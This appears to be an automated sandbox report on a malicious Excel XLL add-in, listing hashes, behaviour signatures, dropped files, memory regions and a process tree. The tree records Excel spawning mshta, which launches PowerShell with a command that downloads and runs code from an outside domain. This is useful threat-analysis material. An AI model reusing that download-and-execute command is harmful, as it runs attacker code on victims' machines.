Analysis

  • max time kernel
    100s
  • max time network
    123s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22-05-2024 23:24

General

  • Target

    edb509bf36a97bad536a054fb67b0a749107ea257a77b98f497d0d761cc89d60.xll

  • Size

    12KB

  • MD5

    fa6a5bc6c1a25b5e8a07515857df7412

  • SHA1

    b5df9df44e66656dff5254f1aeb2406196c68b49

  • SHA256

    edb509bf36a97bad536a054fb67b0a749107ea257a77b98f497d0d761cc89d60

  • SHA512

    e0c84c2e8027845fe27fdcba1f5b3185523bc4aa60a3131d4d02b0253c8bd579d4b61de05c4c22dc6ad4578cc7e3c86d6979d66fe1a7d73e80919a20bc90c8d0

  • SSDEEP

    192:NL29RBzDzeobchBj8JONPONeruQqrEPEjr7AhY:129jnbcvYJOw0uQqvr7CY

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\edb509bf36a97bad536a054fb67b0a749107ea257a77b98f497d0d761cc89d60.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3524
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2720
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4668

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\RV9E03Y0\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sjwnb0dj.yxt.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\edb509bf36a97bad536a054fb67b0a749107ea257a77b98f497d0d761cc89d60.xll

    Filesize

    12KB

    MD5

    fa6a5bc6c1a25b5e8a07515857df7412

    SHA1

    b5df9df44e66656dff5254f1aeb2406196c68b49

    SHA256

    edb509bf36a97bad536a054fb67b0a749107ea257a77b98f497d0d761cc89d60

    SHA512

    e0c84c2e8027845fe27fdcba1f5b3185523bc4aa60a3131d4d02b0253c8bd579d4b61de05c4c22dc6ad4578cc7e3c86d6979d66fe1a7d73e80919a20bc90c8d0

  • memory/3524-4-0x00007FFC44210000-0x00007FFC44220000-memory.dmp

    Filesize

    64KB

  • memory/3524-9-0x00007FFC41670000-0x00007FFC41680000-memory.dmp

    Filesize

    64KB

  • memory/3524-19-0x00007FFC84180000-0x00007FFC84389000-memory.dmp

    Filesize

    2.0MB

  • memory/3524-8-0x00007FFC84180000-0x00007FFC84389000-memory.dmp

    Filesize

    2.0MB

  • memory/3524-6-0x00007FFC84180000-0x00007FFC84389000-memory.dmp

    Filesize

    2.0MB

  • memory/3524-11-0x00007FFC84180000-0x00007FFC84389000-memory.dmp

    Filesize

    2.0MB

  • memory/3524-0-0x00007FFC44210000-0x00007FFC44220000-memory.dmp

    Filesize

    64KB

  • memory/3524-2-0x00007FFC44210000-0x00007FFC44220000-memory.dmp

    Filesize

    64KB

  • memory/3524-1-0x00007FFC44210000-0x00007FFC44220000-memory.dmp

    Filesize

    64KB

  • memory/3524-12-0x00007FFC84180000-0x00007FFC84389000-memory.dmp

    Filesize

    2.0MB

  • memory/3524-13-0x00007FFC84180000-0x00007FFC84389000-memory.dmp

    Filesize

    2.0MB

  • memory/3524-14-0x00007FFC41670000-0x00007FFC41680000-memory.dmp

    Filesize

    64KB

  • memory/3524-15-0x00007FFC84180000-0x00007FFC84389000-memory.dmp

    Filesize

    2.0MB

  • memory/3524-17-0x00007FFC84180000-0x00007FFC84389000-memory.dmp

    Filesize

    2.0MB

  • memory/3524-18-0x00007FFC84180000-0x00007FFC84389000-memory.dmp

    Filesize

    2.0MB

  • memory/3524-16-0x00007FFC84180000-0x00007FFC84389000-memory.dmp

    Filesize

    2.0MB

  • memory/3524-10-0x00007FFC84180000-0x00007FFC84389000-memory.dmp

    Filesize

    2.0MB

  • memory/3524-5-0x00007FFC44210000-0x00007FFC44220000-memory.dmp

    Filesize

    64KB

  • memory/3524-7-0x00007FFC84180000-0x00007FFC84389000-memory.dmp

    Filesize

    2.0MB

  • memory/3524-87-0x00007FFC84180000-0x00007FFC84389000-memory.dmp

    Filesize

    2.0MB

  • memory/3524-85-0x00007FFC44210000-0x00007FFC44220000-memory.dmp

    Filesize

    64KB

  • memory/3524-86-0x00007FFC44210000-0x00007FFC44220000-memory.dmp

    Filesize

    64KB

  • memory/3524-84-0x00007FFC44210000-0x00007FFC44220000-memory.dmp

    Filesize

    64KB

  • memory/3524-83-0x00007FFC44210000-0x00007FFC44220000-memory.dmp

    Filesize

    64KB

  • memory/3524-3-0x00007FFC84223000-0x00007FFC84224000-memory.dmp

    Filesize

    4KB

  • memory/3524-67-0x00007FFC84180000-0x00007FFC84389000-memory.dmp

    Filesize

    2.0MB

  • memory/4668-57-0x0000000005B90000-0x0000000005BAE000-memory.dmp

    Filesize

    120KB

  • memory/4668-58-0x0000000005F10000-0x0000000005F5C000-memory.dmp

    Filesize

    304KB

  • memory/4668-59-0x00000000074B0000-0x0000000007B2A000-memory.dmp

    Filesize

    6.5MB

  • memory/4668-60-0x0000000006090000-0x00000000060AA000-memory.dmp

    Filesize

    104KB

  • memory/4668-56-0x00000000056D0000-0x0000000005A27000-memory.dmp

    Filesize

    3.3MB

  • memory/4668-47-0x0000000005660000-0x00000000056C6000-memory.dmp

    Filesize

    408KB

  • memory/4668-46-0x00000000055F0000-0x0000000005656000-memory.dmp

    Filesize

    408KB

  • memory/4668-45-0x0000000004D00000-0x0000000004D22000-memory.dmp

    Filesize

    136KB

  • memory/4668-44-0x0000000004F50000-0x000000000557A000-memory.dmp

    Filesize

    6.2MB

  • memory/4668-43-0x0000000002390000-0x00000000023C6000-memory.dmp

    Filesize

    216KB